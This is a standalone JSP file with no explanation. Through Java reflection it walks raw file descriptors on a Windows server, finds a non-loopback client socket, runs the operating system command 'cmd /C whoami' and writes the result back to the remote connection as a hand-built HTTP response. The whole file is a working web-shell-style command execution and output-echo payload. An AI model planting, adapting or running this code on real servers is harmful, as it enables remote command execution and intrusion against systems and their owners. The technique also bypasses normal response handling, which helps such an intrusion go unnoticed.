<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%

if(java.io.File.separator.equals("\\")){

java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");

field.setAccessible(true);

Class clazz1 = Class.forName("sun.nio.ch.Net");

java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress",new Class[]{java.io.FileDescriptor.class});

method1.setAccessible(true);

Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);

java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];

constructor2.setAccessible(true);

Class clazz3 = Class.forName("java.net.PlainSocketImpl");

java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});

constructor3.setAccessible(true);

java.lang.reflect.Method write = clazz2.getDeclaredMethod("write",new Class[]{byte[].class});

write.setAccessible(true);

java.net.InetSocketAddress remoteAddress = null;

java.util.List list = new java.util.ArrayList();

java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();

for(int i = 0; i < 50000; i++){

field.set((Object)fileDescriptor, (Object)(new Integer(i)));

try{

remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});

if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;

if(remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue;

list.add(new Integer(i));

}catch(Exception e){}

}

for(int i = list.size() - 1; i >= 0; i--){

try{

field.set((Object)fileDescriptor, list.get(i));

Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});

String[] cmd = new String[]{"cmd","/C", "whoami"};

String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim();

String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n";

write.invoke(socketOutputStream, new Object[]{result.getBytes()});

break;

}catch (Exception e){

//pass

}

}

}

%>